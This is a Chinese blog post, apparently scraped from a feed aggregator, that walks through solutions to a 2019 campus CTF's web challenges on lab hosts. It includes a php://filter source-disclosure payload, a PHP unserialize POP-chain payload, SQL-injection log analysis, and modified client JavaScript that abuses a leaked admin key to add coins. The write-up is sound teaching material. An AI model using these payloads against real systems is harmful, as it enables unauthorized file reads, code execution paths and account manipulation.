惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园_首页
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
人人都是产品经理
人人都是产品经理
Martin Fowler
Martin Fowler
D
Docker
F
Full Disclosure
Recent Announcements
Recent Announcements
MyScale Blog
MyScale Blog
美团技术团队
Microsoft Azure Blog
Microsoft Azure Blog
B
Blog
A
About on SuperTechFans
IT之家
IT之家
P
Proofpoint News Feed
有赞技术团队
有赞技术团队
V
V2EX
阮一峰的网络日志
阮一峰的网络日志
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
雷峰网
雷峰网
WordPress大学
WordPress大学
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 【当耐特】
V
Visual Studio Blog
Hugging Face - Blog
Hugging Face - Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
Tailwind CSS Blog
Microsoft Security Blog
Microsoft Security Blog
U
Unit 42
腾讯CDC
Stack Overflow Blog
Stack Overflow Blog
B
Blog RSS Feed
I
InfoQ
N
Netflix TechBlog - Medium
博客园 - 三生石上(FineUI控件)
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Vercel News
Vercel News
月光博客
月光博客
F
Fortinet All Blogs
Google DeepMind News
Google DeepMind News
小众软件
小众软件
Recorded Future
Recorded Future
博客园 - Franky
Blog — PlanetScale
Blog — PlanetScale
云风的 BLOG
云风的 BLOG
C
Check Point Blog
博客园 - 叶小钗
GbyAI
GbyAI
M
MIT News - Artificial intelligence
博客园 - 司徒正美

Yesterday17's Blog

2026 新年解密红包 / Melody Flag | Yesterday17's Blog 谈谈 Iori 的设计思路(二):如何实现一个 Showroom 录制工具? | Yesterday17's Blog 谈谈 Iori 的设计思路(一):从 Nico Timeshift 说起 | Yesterday17's Blog Iori Minyami 0.1.0 发布 | Yesterday17's Blog 2025 新年解密红包 / Melody Flag | Yesterday17's Blog 使用 Cloudflare Warp 解决罗森票务的海外登录问题 | Yesterday17's Blog How To Blog 04: The Astro v5 Era | Yesterday17's Blog 谈谈 tokio::select! 的公平性 | Yesterday17's Blog Learning Pingora 05 - Connect with TLS | Yesterday17's Blog Leaving Bytedance | Yesterday17's Blog 大橋彩香 AsiaTour「Reflection」上海公演 个人向记录 & Repo | Yesterday17's Blog Recoving from burnout - What happened? | Yesterday17 Yubikey 重建手册 | Yesterday17's Blog How To Blog 03: Heimus | Yesterday17's Blog 🪧 Blog Migration Accouncement | Yesterday17's Blog Learn Your IDE - VSCode 是如何仅重启插件的? | Yesterday17's Blog How To Blog 02: Astro❤️Password | Yesterday17's Blog How To Blog 01: Why, How, and the Future | Yesterday17's Blog Learning Pingora 04 - Establish L4 Connection | Yesterday17's Blog Learning Pingora 03 - Upstreams and Peers | Yesterday17's Blog Learning Pingora 02 - A Simple HTTP Server | Yesterday17's Blog Learning Pingora 01 - Getting Started | Yesterday17's Blog 2024 新年解密红包 / Melody Flag | Yesterday17's Blog 向新的一年飞驰——记录 2023 | Yesterday17's Blog 「サクラノ刻」对话选摘(2) | Yesterday17's Blog PGP Key Revocation 注销声明 | Yesterday17's Blog 「サクラノ刻」对话选摘(1) | Yesterday17's Blog 2023 新年解密红包 / Melody Flag | Yesterday17's Blog 『蒼の彼方のフォーリズム』通关感想 | Yesterday17's Blog 单显卡直通教程 | Yesterday17's Blog 对博客与笔记的思考 | Yesterday17's Blog Project Anni 之旅(3)自动化 Flutter 应用 CI/CD 上架流程 | Yesterday17's Blog AsobiStage 直接播放链接 | Yesterday17 如何在后分P时代进行投稿——sswa使用详解 | Yesterday17's Blog JSON RPC 与 LSP 协议基础 | Yesterday17's Blog Grajapa Shueisha / BookEnd 加密方式调查 | Yesterday17's Blog 【2022篇+WriteUp】如何再收一个新年红包? | Yesterday17's Blog 如何将良心云的良心功能清理干净 | Yesterday17's Blog 【油猴脚本】bilibili 投稿页面返回旧版+旧版页面强制允许分P上传 | Yesterday17's Blog Cloudr1v1 授权方式分析 | Yesterday17 Typora 1.0.2 逆向实录 | Yesterday17's Blog Project Anni 之旅(2)ValueAfterTable——toml-rs的实现与限制 | Yesterday17's Blog IPv4透明代理+IPv6 Passthrough——树莓派单臂软路由折腾记 | Yesterday17's Blog Chaos; Child 汉化补丁 神秘编码探索 | Yesterday17's Blog 镣铐与舞蹈——个性与共性之迷思 | Yesterday17's Blog Go 学习笔记 02 - 找准 io 之道 | Yesterday17's Blog NAT Slipstreaming v1 原理浅析 | Yesterday17's Blog 绕过「9-nine-」的 CDKEY 验证——KrkrPlugin 正(?)向实录 | Yesterday17's Blog 静流的青春纪念册——「サクラノ刻 -櫻の森の下を歩む-」体验版感言 | Yesterday17's Blog Project Anni 之旅 01 - 从 clap-builder 到 derive | Yesterday17's Blog [Google CTF 2021] CPP WriteUp | Yesterday17's Blog 获取 アソビステージ 的实际播放链接 | Yesterday17's Blog 90 行 Rust 代码实现 AsyncTeeReader | Yesterday17's Blog 或许还算有价值一读的文章列表 | Yesterday17's Blog 从零开始的 Seedbox 之旅 | Yesterday17's Blog [随笔]技术型博客行文迷思(1) | Yesterday17's Blog 浅谈 git fetch 的工作方式 | Yesterday17's Blog 『ソーサレス*アライヴ! ~the World's End Fallen Star~』通关感想" | Yesterday17's Blog Rust std::fmt 格式语法简述 | Yesterday17's Blog 日亚修改居住国的解决方案 | Yesterday17's Blog [Windows/Linux] GC553 的 Switch 完美采集之路 | Yesterday17's Blog 【翻译】Subtyping and Variance / 子类型与变型 | Yesterday17's Blog Berd's Red Envelope 2021 WriteUp | Yesterday17's Blog 【中英对照】ALSA 音频 API 使用教程/A Tutorial on Using the ALSA Audio API | Yesterday17's Blog 从 cue_scanner.l 看 CUE Sheet 的词法单元 | Yesterday17's Blog Postman 历史记录导出的解决方案 | Yesterday17's Blog 《恋爱绮谭 不存在的夏天》通关感想 | Yesterday17's Blog [微机实验/TD-PITE] 微机接口综合实验 | Yesterday17's Blog [微机实验/TD-PITE] 键盘扫描及数码管显示实验 | Yesterday17's Blog [微机实验/TD-PITE] 数码管显示实验 | Yesterday17's Blog Airsonic Advanced+Google Drive+Caddy 部署纪实 | Yesterday17's Blog X-NUCA 2020 - hellowasm 题解 | Yesterday17's Blog [微机实验/TD-PITE] 8251 串行接口实验 | Yesterday17's Blog Node.js child_process.fork 与 env 污染 RCE | Yesterday17's Blog EP.01 「夜の向日葵」 | Yesterday17's Blog [微机实验/TD-PITE] 8254 定时/计数器实验+选做实验 | Yesterday17's Blog [JLU CTF/2020] babywasm WriteUp | Yesterday17's Blog PHP 反序列化与经典利用 | Yesterday17's Blog WebAssembly 逆向简述 | Yesterday17's Blog 『彼女、お借りします』一期完结点评 | Yesterday17's Blog [微机实验/TD-PITE] D/A 转换实验+选做实验 | Yesterday17's Blog [微机实验/TD-PITE] A/D 转换实验+选做实验 | Yesterday17's Blog 开源项目申请 JetBrains Open Source License 简单流程 | Yesterday17's Blog 微软拼音与 JetBrains 搜索快捷键冲突的解决方案 | Yesterday17's Blog [微机实验/TD-PITE] 8259 中断优先级实验+选做实验 | Yesterday17's Blog IFTTT 测试(续) | Yesterday17 IFTTT 测试 | Yesterday17's Blog [微机实验/TD-PITE] 存储器扩展实验+选做实验 | Yesterday17's Blog 新版 GCC 针对 -fdump-translation-unit 的替代方案 | Yesterday17's Blog 一次 HSTS 策略配置的排错之旅 | Yesterday17's Blog YukiNative 踩坑记——Windows 的消息队列 | Yesterday17's Blog 我是我自己——论获取 HTTPS 证书时的验证步骤 | Yesterday17's Blog 【设计文档】对 PUG 的大规模设计修订(1.1) | Yesterday17's Blog GS65 折腾记(2)加装固态,分区,Grub2 引导 Manjaro LiveCD | Yesterday17's Blog 「さくら、もゆ。」的空白字体列表——一次逆向问题定位过程实录 | Yesterday17's Blog GSuite 探索篇(1)使用 Service Account 向 Google Drive 传输文件 | Yesterday17's Blog 『サクラノ詩 -櫻の森の上を舞う-』通关感想 | Yesterday17's Blog 《ATRI -My Dear Moments-》通关感想 | Yesterday17's Blog [工具][VSCode 扩展] AegiKit——方便 Aegisub 使用的工具箱 | Yesterday17's Blog 贝塞尔曲线、字体矢量化与曲线运算 | Yesterday17's Blog
CTF 校赛随记 [2019] | Yesterday17's Blog
Yesterday17 · 2020-05-20 · via Yesterday17's Blog

本文从旧博客迁移而来。

文章中所有图片均引自原路径(GitHub 仓库),因此可能出现加载速度较慢的问题。

以下为原文内容。


随手记录一下(

ToC

  • 5呢
  • 简单的正则
    • 你会那样读文件吗
    • 快速计算
    • 哪个才是 flag
    • Serialize & Unserialize
    • log
    • 可靠的WebApp

5呢

简单的正则

通过构造符合题意的正则表达式即可得到 flag。

http://10.60.38.227:34003/?s=the%20flag12/d/31

你会那样读文件吗

进入后链接提示我们跳转到 hint.php,之后在源码中找到提示:

然后通过 php 伪协议获得 flag.php 的 base64,再通过解码就能拿到 flag了:

php://filter/read=convert.base64-encode/resource=flag.php

快速计算

标题虽然说是 Python 计算,但其实并用不到 Python(

通过观察我们知道我们需要计算的内容是第二个 div 里的算式去掉 =? 的部分,于是简单写一个油猴脚本:

// ==UserScript==

// @name New Userscript

// @namespace http://tampermonkey.net/

// @version 0.1

// @description try to take over the world!

// @author You

// @match http://10.60.38.227:34005/

// @grant none

// ==/UserScript==

(function () {

const t = document.querySelectorAll("div")[1].textContent;

const ev = t.substr(0, t.length - 2);

const result = eval(ev);

document.querySelector("input[type=text]").value = result;

document.querySelector("input[type=Submit]").click();

})();

加载后刷新页面即可:

哪个才是 flag

找不同,在源码中找到真正的 flag:

Serialize & Unserialize

首先先根据题目要求构造字符串:

<?php

$KEY="Spirit";

echo serialize($KEY);

得到第一步答案:s:6:"Spirit";,根据提示跳转到 info.php

<?php

@error_reporting(0);

class Start

{

public $a;

public $b;

public function __destruct()

{

$this->a->test1();

}

}

class Func1

{

public $a;

public $b;

public function __call($test, $arr)

{

$this->b="字符串".$this->a;

}

}

class Func2

{

public $a;

public $b;

public function __toString()

{

$s=$this->a;

$s();

return "1";

}

}

class Func3

{

public $a;

public $b;

public function __invoke()

{

$this->a->get_flag();

}

}

class Flag

{

public function get_flag()

{

echo "flag{****************}";

}

}

$a=isset($_GET['go'])?$_GET['go']:"";

$b=@unserialize($a);

if ($a&&!$b) {

echo "unserilize('".$a ."') 失败";

}

根据观察,可以发现类从上到下类似链式调用,于是补充代码如下:

得到输出结果:

O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}

log

首先观察 access.log 文件本身,我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent,再去除一些无用的内容,诸如 UserAgent

再观察,可以发现这是一次 SQL 注入的攻击日志,攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=

可以看到,这些数字已经是我们想要的 fla了。最后将其拼接起来即可:

可靠的WebApp

通过观察可以发现核心在于 main.min.js

打开文件,发现文件经过了混淆。我们使用 JSNice 简单对内容进行反混淆:

再对所有用到 _0x76ef 的项进行整理,最后得到相对反混淆后的结果。在这个过程中,我们观察到这个对象:

this.APIModels = {

authorize: {

model: "authorize",

},

userInfo: {

model: "userInfo",

},

buyFlag: {

model: "buyFlag",

},

adminAddCoin: {

model: "adminAddCoin",

key: "Admin123321.",

count: 0,

},

};

通过这个对象,我们构建出增加余额的函数(上文对象中 count 需要改大):

this.adminAddCoin = function () {

this.call(

"adminAddCoin",

this.APIModels.adminAddCoin,

function (canCreateDiscussions) {

console.log(canCreateDiscussions);

}

);

};

最后,用我们修改完的 main 函数在 Console 中替换原有的 console 即可:

最后修改后的 main.min.js 如下:

"use strict";

function main(key) {

function GUIPARAMS() {

let _this = this;

this.token = null;

this.onerror = function () {

alert("Error on request.");

};

this.toCharArr = function (str) {

str = str.split("");

let arr = new Uint8Array(str.length);

str.forEach(function (canCreateDiscussions, wikiId) {

arr[wikiId] = canCreateDiscussions.charCodeAt(0);

});

return arr;

};

this.fromCharArr = function (canCreateDiscussions) {

let plan_count = "";

canCreateDiscussions.forEach(function (year_data) {

plan_count = plan_count + String.fromCharCode(year_data);

});

return plan_count;

};

this.pkcs7Pad = function (msg) {

let val = 16 - (msg.length % 16);

let log = new Uint8Array(msg.length + val);

log.set(msg, 0);

log.fill(val, msg.length, msg.length + val);

return log;

};

this.pkcs7UnPad = function (range) {

let start = range[range.length - 1];

if (start > 16) {

return null;

}

return range.subarray(0, range.length - start);

};

this.ui8concat = function (sumX, data) {

let command_codes = new Uint8Array(sumX.length + data.length);

command_codes.set(sumX, 0);

command_codes.set(data, sumX.length);

return command_codes;

};

this.APIModels = {

authorize: {

model: "authorize",

},

userInfo: {

model: "userInfo",

},

buyFlag: {

model: "buyFlag",

},

adminAddCoin: {

model: "adminAddCoin",

key: "Admin123321.",

count: 114514,

},

};

this.call = function (path, model, savetoBd) {

this.iv = this.toCharArr(

CryptoJS.MD5(Math.random().toString(36).substr(2))

.toString()

.substr(0, 16)

);

let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv);

let value = this.ui8concat(

this.iv,

_0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model))))

);

let param = new XMLHttpRequest();

param.timeout = 3000;

param.open("POST", "/api/" + path, true);

param.setRequestHeader("Content-type", "application/octet-stream");

if (this.token) {

param.setRequestHeader("X-Token", this.token);

param.setRequestHeader(

"X-Message-Code",

CryptoJS.HmacSHA1(this.token, JSON.stringify(model))

);

}

param.onload = function (canCreateDiscussions) {

if (this.status === 200) {

let data = JSON.parse(this.responseText);

if (data.status === 0) {

let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv);

data.payload = JSON.parse(

_this.fromCharArr(

_this.pkcs7UnPad(

rua.decrypt(_this.toCharArr(window.atob(data.payload)))

)

)

);

savetoBd(data);

return;

}

}

_this.onerror();

};

param.ontimeout = this.onerror;

param.onerror = this.onerror;

param.send(value);

};

this.getUserInfo = function () {

this.call(

"userInfo",

this.APIModels.userInfo,

function (canCreateDiscussions) {

console.log(canCreateDiscussions);

document.getElementById("output").innerText =

"You have " +

canCreateDiscussions.payload.coin +

" coins in your account.";

}

);

};

this.buyFlag = function () {

this.call(

"buyFlag",

this.APIModels.buyFlag,

function (canCreateDiscussions) {

console.log(canCreateDiscussions);

let output = document.getElementById("output");

if (canCreateDiscussions.payload.success) {

output.innerText = canCreateDiscussions.payload.flag;

} else {

output.innerText = canCreateDiscussions.payload.reason;

}

}

);

};

this.authorize = function () {

if (key) {

this.key = this.toCharArr(key);

} else {

return;

}

this.call(

"authorize",

this.APIModels.authorize,

function (canCreateDiscussions) {

console.log(canCreateDiscussions);

_this.token = canCreateDiscussions.payload.token;

let packByNumType = document.getElementById("buttons");

packByNumType.innerHTML = "";

let data = document.createElement("button");

data.innerHTML = "User Info";

data.addEventListener("click", function () {

_this.getUserInfo();

});

packByNumType.append(data);

let pivot = document.createElement("button");

pivot.innerHTML = "Buy Flag";

pivot.addEventListener("click", function () {

_this.buyFlag();

});

packByNumType.append(pivot);

}

);

};

this.adminAddCoin = function () {

this.call(

"adminAddCoin",

this.APIModels.adminAddCoin,

function (canCreateDiscussions) {

console.log(canCreateDiscussions);

}

);

};

}

let instance = new GUIPARAMS();

instance.authorize();

window.instance = instance;

}